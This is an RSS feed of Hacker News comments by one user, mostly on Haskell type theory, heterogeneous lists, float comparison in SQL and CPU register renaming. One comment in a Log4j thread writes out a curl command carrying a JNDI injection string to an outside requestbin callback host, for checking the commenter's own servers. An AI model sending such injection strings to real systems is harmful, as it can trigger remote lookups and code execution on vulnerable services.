<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Hacker News: philh</title><link>https://news.ycombinator.com/user?id=philh</link><description>Hacker News RSS</description><docs>https://hnrss.org/</docs><generator>hnrss v2.1.1</generator><lastBuildDate>Sun, 12 Apr 2026 23:19:32 +0000</lastBuildDate><atom:link href="https://hnrss.org/user?id=philh" rel="self" type="application/rss+xml"></atom:link><item><title><![CDATA[New comment by philh in "A reckless introduction to Hindley-Milner type inference (2019)"]]></title><description><![CDATA[
<p>Thanks. Yeah, I don't understand the name.<p>You could construct a basically-equivalent data structure in Haskell, but I think normally you'd use an HList (defined in many places but e.g. <a href="https://hackage.haskell.org/package/HList-0.5.2.0/docs/Data-HList-HList.html" rel="nofollow">https://hackage.haskell.org/package/HList-0.5.2.0/docs/Data-...</a>). I've only occasionally had use for them myself, at any rate I don't think they're convenient for the "apply a function to all these elements" case.</p>
]]></description><pubDate>Wed, 26 Jun 2024 18:59:36 +0000</pubDate><link>https://news.ycombinator.com/item?id=40803313</link><dc:creator>philh</dc:creator><comments>https://news.ycombinator.com/item?id=40803313</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=40803313</guid></item><item><title><![CDATA[New comment by philh in "A reckless introduction to Hindley-Milner type inference (2019)"]]></title><description><![CDATA[
<p>I'm not familiar with that technique and don't know what's going on from that snippet.<p>In Haskell, any time a heterogeneous list turns out to be fine, I expect to be able to model it. Often it'll look like "I'm applying a polymorphic function to every one of these list elements", and then you can either do a sum type (as discussed in the post) or an existential (which doesn't need you to list up front all the types you might use). If the function is "is negative?", it'll look something like (untested)<p><pre><code>    data SomeNum = forall a. Num a => SomeNum a

    isNegative :: SomeNum -> Bool
    isNegative (SomeNum n) = n < 0

    numbers = [SomeNum (3 :: Int), SomeNum (5.2 :: Double), SomeNum valOfUnexpectedNumericType]
    anyNegative = any isNegative numbers
</code></pre>
...but it'll often be easier to just apply the `< 0` check to every element <i>before</i> putting them in the list. (If you have several functions you want to apply to them all, that's when the existential trick becomes more useful.)<p>So you can model heterogeneous lists in this case, and it's safer (because you can't put in a value that can't be compared to 0) but also less convenient. Whether that's an improvement or not will depend on the situation.</p>
]]></description><pubDate>Wed, 26 Jun 2024 08:12:54 +0000</pubDate><link>https://news.ycombinator.com/item?id=40797536</link><dc:creator>philh</dc:creator><comments>https://news.ycombinator.com/item?id=40797536</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=40797536</guid></item><item><title><![CDATA[New comment by philh in "A reckless introduction to Hindley-Milner type inference (2019)"]]></title><description><![CDATA[
<p>I'm still working at the same company as when I wrote this, and that company is still using Haskell (now mostly Typescript instead of Elm). If I did move on I'd ideally want to keep using Haskell, or failing that some other strongly typed language.<p>But I don't expect that my own experience says much about the language ecosystem in general. I don't particularly have an opinion on whether or not strong types have "won", and I didn't intend to comment on that question.</p>
]]></description><pubDate>Tue, 25 Jun 2024 23:48:01 +0000</pubDate><link>https://news.ycombinator.com/item?id=40795015</link><dc:creator>philh</dc:creator><comments>https://news.ycombinator.com/item?id=40795015</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=40795015</guid></item><item><title><![CDATA[New comment by philh in "A reckless introduction to Hindley-Milner type inference (2019)"]]></title><description><![CDATA[
<p>I don't necessarily disagree. But I do think there's something to be said for knowing that my sql query is "just" slow, not trapped in an infinite loop. Not confident, but I feel like debugging "why is this query so slow that it hasn't returned yet" seems easier than debugging "why has this slow-or-maybe-nonterminating query not returned yet".</p>
]]></description><pubDate>Tue, 25 Jun 2024 23:38:49 +0000</pubDate><link>https://news.ycombinator.com/item?id=40794944</link><dc:creator>philh</dc:creator><comments>https://news.ycombinator.com/item?id=40794944</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=40794944</guid></item><item><title><![CDATA[New comment by philh in "A reckless introduction to Hindley-Milner type inference (2019)"]]></title><description><![CDATA[
<p>I think my position is:<p>Native heterogeneous lists will often be convenient, and sometimes when you've used them they're going to turn out in retrospect to have been a bad idea but sometimes they'll be just fine, especially if they stay fairly locally scoped. I haven't done any serious work in a language that supports them for years, so I don't have a strong opinion about how often each of those cases happens.<p>But if you decide you want heterogeneous lists, but your language doesn't support them, so you try to implement that with a sum type, then that's basically always going to be a massive pain.</p>
]]></description><pubDate>Tue, 25 Jun 2024 23:25:17 +0000</pubDate><link>https://news.ycombinator.com/item?id=40794843</link><dc:creator>philh</dc:creator><comments>https://news.ycombinator.com/item?id=40794843</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=40794843</guid></item><item><title><![CDATA[New comment by philh in "A reckless introduction to Hindley-Milner type inference (2019)"]]></title><description><![CDATA[
<p>For whatever it's worth, when I first wrote this I submitted it to /r/haskell (<a href="https://www.reddit.com/r/haskell/comments/cs7jyu/a_reckless_introduction_to_hindleymilner_type/" rel="nofollow">https://www.reddit.com/r/haskell/comments/cs7jyu/a_reckless_...</a>) and it doesn't look like there were any corrections from that; and since then I've implemented an HM type checker and don't remember finding anything that made me think "oh, I was wrong about ...".<p>So I'm more confident in the essay than I was at the time. But yeah, getting put on guard by those caveats doesn't seem ideal for intro material. (But if I hadn't had them and I'd gotten something wrong, that would also not have been ideal...)<p>For writing the type checker, "write you a haskell" that someone else linked was really helpful, and so was a paper called "typing haskell in haskell": <a href="https://web.cecs.pdx.edu/~mpj/thih/thih.pdf" rel="nofollow">https://web.cecs.pdx.edu/~mpj/thih/thih.pdf</a></p>
]]></description><pubDate>Tue, 25 Jun 2024 23:10:30 +0000</pubDate><link>https://news.ycombinator.com/item?id=40794750</link><dc:creator>philh</dc:creator><comments>https://news.ycombinator.com/item?id=40794750</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=40794750</guid></item><item><title><![CDATA[New comment by philh in "Comparing Floating-Point Numbers Is Tricky (2017)"]]></title><description><![CDATA[
<p>SQL queries sometimes put floats in GROUP BY. E.g. if you have a many-to-one relationship you might do a query like<p><pre><code>    SELECT foo_id, foo.some_float, SUM(bar.some_thing)
    FROM foo JOIN bar USING (foo_id)
    GROUP BY foo_id, foo.some_float
</code></pre>
I feel kinda dirty whenever I do this.<p>Though, I would guess the optimizer (at least in postgres) is smart enough to ensure no float equality checks actually happen under-the-hood. They could be necessary, if the schema was different than I'm imagining; but maybe in that case, it would almost always be a bad idea.</p>
]]></description><pubDate>Sat, 22 Oct 2022 10:05:06 +0000</pubDate><link>https://news.ycombinator.com/item?id=33296910</link><dc:creator>philh</dc:creator><comments>https://news.ycombinator.com/item?id=33296910</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=33296910</guid></item><item><title><![CDATA[New comment by philh in "Cool, but Obscure X11 Tools"]]></title><description><![CDATA[
<p>Huh, I remember xearth. It would move the stars every time it redrew itself. I wanted to have it update every second for some reason, and that was distracting, so I patched it to add an option to not do that. Then I couldn't find a maintainer to send it to, so I didn't share it.</p>
]]></description><pubDate>Sat, 25 Dec 2021 12:15:35 +0000</pubDate><link>https://news.ycombinator.com/item?id=29682668</link><dc:creator>philh</dc:creator><comments>https://news.ycombinator.com/item?id=29682668</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=29682668</guid></item><item><title><![CDATA[New comment by philh in "Log4j RCE Found"]]></title><description><![CDATA[
<p>Thanks! Yeah, `dig` with no DNS gives me a SERVFAIL but `dig @1.1.1.1` works.<p>My ISP isn't Vodafone directly (I take it you think that because 83.146.21.6 belongs to them?) but might be a Vodafone reseller or something.</p>
]]></description><pubDate>Fri, 10 Dec 2021 14:17:20 +0000</pubDate><link>https://news.ycombinator.com/item?id=29510086</link><dc:creator>philh</dc:creator><comments>https://news.ycombinator.com/item?id=29510086</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=29510086</guid></item><item><title><![CDATA[New comment by philh in "Log4j RCE Found"]]></title><description><![CDATA[
<p>Like, my understanding from reading the thread was that I'd be able to run this and make requests to my servers setting my User-Agent, like<p><pre><code>    curl -A '${jndi:ldap:test.a54c4d391bad1b48ebc3.d.requestbin.net/abc}' https://my-service.net
</code></pre>
and if they're vulnerable (at least through logging user-agents, I know there are other possible avenues) something would show up on the website. Is it more complicated than that?</p>
]]></description><pubDate>Fri, 10 Dec 2021 09:03:27 +0000</pubDate><link>https://news.ycombinator.com/item?id=29507905</link><dc:creator>philh</dc:creator><comments>https://news.ycombinator.com/item?id=29507905</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=29507905</guid></item><item><title><![CDATA[New comment by philh in "Log4j RCE Found"]]></title><description><![CDATA[
<p>I don't really know what's going on here, so to clarify... it gives "simple checking example"<p><pre><code>    nslookup mydatahere.a54c4d391bad1b48ebc3.d.requestbin.net
</code></pre>
but when I run that in my terminal I get the response<p><pre><code>    ;; Got SERVFAIL reply from 83.146.21.6, trying next server
    Server:  212.158.248.6
    Address: 212.158.248.6#53

    ** server can't find mydatahere.a54c4d391bad1b48ebc3.d.requestbin.net: SERVFAIL
</code></pre>
And nothing shows up in "received data" on the website.<p>Is that expected? Should I be running the dnsbinclient.py they provide? (I don't have the websocket module installed right now.) I did run `curl a54c4d391bad1b48ebc3.d.requestbin.net` before the nslookup, could that have made a difference here?</p>
]]></description><pubDate>Fri, 10 Dec 2021 08:55:52 +0000</pubDate><link>https://news.ycombinator.com/item?id=29507857</link><dc:creator>philh</dc:creator><comments>https://news.ycombinator.com/item?id=29507857</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=29507857</guid></item><item><title><![CDATA[New comment by philh in "Tree Sitter and the Complications of Parsing Languages"]]></title><description><![CDATA[
<p>The context was parsing, not semantics. "Typeless" meant "lacking type annotations", not directly to do with static/dynamic or weak/strong typing.<p>(Though Python does have optional type annotations these days.)</p>
]]></description><pubDate>Wed, 24 Nov 2021 16:13:10 +0000</pubDate><link>https://news.ycombinator.com/item?id=29331468</link><dc:creator>philh</dc:creator><comments>https://news.ycombinator.com/item?id=29331468</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=29331468</guid></item><item><title><![CDATA[New comment by philh in "The surprising subtleties of zeroing a register (2012)"]]></title><description><![CDATA[
<p>Author in the old thread (<a href="https://news.ycombinator.com/item?id=19262249" rel="nofollow">https://news.ycombinator.com/item?id=19262249</a>) says<p>> An x86-64 CPU has sixteen integer registers, but 100-200 physical integer registers. Every time an instruction writes to, say, RAX the renamer chooses an available physical register and does the write to it, recording the fact that RAX is now physical-register #137. This allows the breaking of dependency chains, thus allowing execution parallelism.<p>I'm curious why they have so many more physical registers than... logical? registers. I have a couple of guesses:<p>* Physical registers are physically cheaper to add than logical registers.<p>* Adding logical registers breaks backwards compatibility, or at best means you get no speedup on things written (/compiled) for fewer logical registers. Adding physical registers lets you improve performance without recompiling.<p>* Adding logical registers increases complexity for people writing assembly and/or compilers. Adding physical registers moves that complexity to people designing CPUs.<p>Are some of these correct? Other reasons I'm missing?</p>
]]></description><pubDate>Thu, 04 Nov 2021 16:36:03 +0000</pubDate><link>https://news.ycombinator.com/item?id=29109283</link><dc:creator>philh</dc:creator><comments>https://news.ycombinator.com/item?id=29109283</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=29109283</guid></item><item><title><![CDATA[New comment by philh in "Finishing my first game while working full-time"]]></title><description><![CDATA[
<p>This doesn't acknowledge weekends, which if you have the same 8 hours sleep and 4 hours "not for yourself", add more than 50% to the time you supposedly have "for yourself". (4×5 + 12×2 vs 4×7.)<p>Which doesn't necessarily change the point, but I'm not sure what if anything the point is supposed to be, and it seems an important omission.</p>
]]></description><pubDate>Thu, 04 Nov 2021 16:20:31 +0000</pubDate><link>https://news.ycombinator.com/item?id=29109068</link><dc:creator>philh</dc:creator><comments>https://news.ycombinator.com/item?id=29109068</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=29109068</guid></item><item><title><![CDATA[New comment by philh in "L0phtCrack Is Now Open Source"]]></title><description><![CDATA[
<p>What do you mean by "that's really on you"? I'd normally interpret it as something like... "this is a state of affairs that would be different if you'd acted differently, and you knew or could have been able to know this in advance". Along those lines, anyway. But not having heard about a tool doesn't really seem to fit that.</p>
]]></description><pubDate>Mon, 18 Oct 2021 08:43:49 +0000</pubDate><link>https://news.ycombinator.com/item?id=28903393</link><dc:creator>philh</dc:creator><comments>https://news.ycombinator.com/item?id=28903393</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=28903393</guid></item><item><title><![CDATA[New comment by philh in "Slowed canonical progress in large fields of science"]]></title><description><![CDATA[
<p>Okay, but it seems like "science isn't a single tradition" is a perfectly reasonable way to describe this state of affairs. So when you ask "what does this even mean" I think there's a fairly straightforward answer.</p>
]]></description><pubDate>Tue, 12 Oct 2021 09:27:57 +0000</pubDate><link>https://news.ycombinator.com/item?id=28837775</link><dc:creator>philh</dc:creator><comments>https://news.ycombinator.com/item?id=28837775</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=28837775</guid></item><item><title><![CDATA[New comment by philh in "Slowed canonical progress in large fields of science"]]></title><description><![CDATA[
<p>> Science is far from an 'anarchic enterprise'. It has the most rigidly regulated mechanisms for knowledge procurement and knowledge dissemination available to us.<p>> Further, science is a single tradition<p>Have these rigidly regulated mechanisms been in place for 2500 years? Because if not, that seems like the sort of thing that Feyrabend might have meant by saying science isn't a single tradition.</p>
]]></description><pubDate>Mon, 11 Oct 2021 12:18:22 +0000</pubDate><link>https://news.ycombinator.com/item?id=28827482</link><dc:creator>philh</dc:creator><comments>https://news.ycombinator.com/item?id=28827482</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=28827482</guid></item><item><title><![CDATA[New comment by philh in "Where do type systems come from? (2017)"]]></title><description><![CDATA[
<p>> I don't know what you mean by this - lambdas are values not types.<p>I think they meant "`Maybe` is a type-lambda abstraction", meaning roughly "a type-level function", which seems true to me. I don't think they meant to say that `Maybe` is a type in the same way String is. (I'd agree it's not, though I'd still call it a type.)<p>> there is no Type type in Haskell<p>Incidentally there is[1], and it even has kind `Type` just like `String` does. So you can ask "what is the kind of `Maybe Type`" (it's `Type`) where you can't ask "what is the kind of `Maybe Maybe`" (`Maybe` has kind `Type -> Type` so this is a kind error).<p>[1]: <a href="https://hackage.haskell.org/package/base-4.15.0.0/docs/Data-Kind.html" rel="nofollow">https://hackage.haskell.org/package/base-4.15.0.0/docs/Data-...</a></p>
]]></description><pubDate>Sat, 02 Oct 2021 09:44:55 +0000</pubDate><link>https://news.ycombinator.com/item?id=28727346</link><dc:creator>philh</dc:creator><comments>https://news.ycombinator.com/item?id=28727346</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=28727346</guid></item><item><title><![CDATA[New comment by philh in "Where do type systems come from? (2017)"]]></title><description><![CDATA[
<p>As I said, I think that's a reasonable but nonstandard way to define the word "type" but it doesn't make much difference - type theory concerns itself with them, whatever they're called.<p>But to support my "nonstandard" claim:<p>* <a href="https://gitlab.haskell.org/ghc/ghc/-/wikis/commentary/compiler/type-type" rel="nofollow">https://gitlab.haskell.org/ghc/ghc/-/wikis/commentary/compil...</a> mentions "Types (possibly of higher kind); e.g. [Int], Maybe"<p>* <a href="https://limperg.de/ghc-extensions/#polykinds" rel="nofollow">https://limperg.de/ghc-extensions/#polykinds</a> talks about "types of different kinds", using Int and Monad as examples.<p>* <a href="https://en.wikipedia.org/wiki/Kind_%28type_theory%29" rel="nofollow">https://en.wikipedia.org/wiki/Kind_%28type_theory%29</a> says "the type [] (list) is a type constructor". It uses the terms "data type" and "proper type" for what I think you simply want to call "type".<p>It's also possible usage is just inconsistent on the subject. (Evidence for this: that second link calls constraints "type-like things", when they're just types according to me.) But my sense is that usually, people engaging seriously with type theory or advanced Haskell would call Maybe and Monad types.<p>(You're of course right that Maybe is a type constructor and Monad is a typeclass, but that doesn't mean they aren't also types.)</p>
]]></description><pubDate>Fri, 01 Oct 2021 13:37:24 +0000</pubDate><link>https://news.ycombinator.com/item?id=28718263</link><dc:creator>philh</dc:creator><comments>https://news.ycombinator.com/item?id=28718263</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=28718263</guid></item><item><title><![CDATA[New comment by philh in "Where do type systems come from? (2017)"]]></title><description><![CDATA[
<p>Or Haskell has types like `Void`, `Maybe`, and `Monad`. If you think of them as "sets of possible values", these all have no possible values. But they're <i>very</i> different types.<p>You could probably define terms such that of these, only `Void` is a "type" - for example, it's the only one that you can use directly as function inputs or outputs. (i.e. you can write a function `Void -> Int` but not a function `Maybe -> Int`.) I think that would be nonstandard, but maybe reasonable to do. But then when you explain what a "type" is you've only explained a subset of what "type theorists" talk about, which includes the others.</p>
]]></description><pubDate>Fri, 01 Oct 2021 12:15:51 +0000</pubDate><link>https://news.ycombinator.com/item?id=28717466</link><dc:creator>philh</dc:creator><comments>https://news.ycombinator.com/item?id=28717466</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=28717466</guid></item></channel></rss>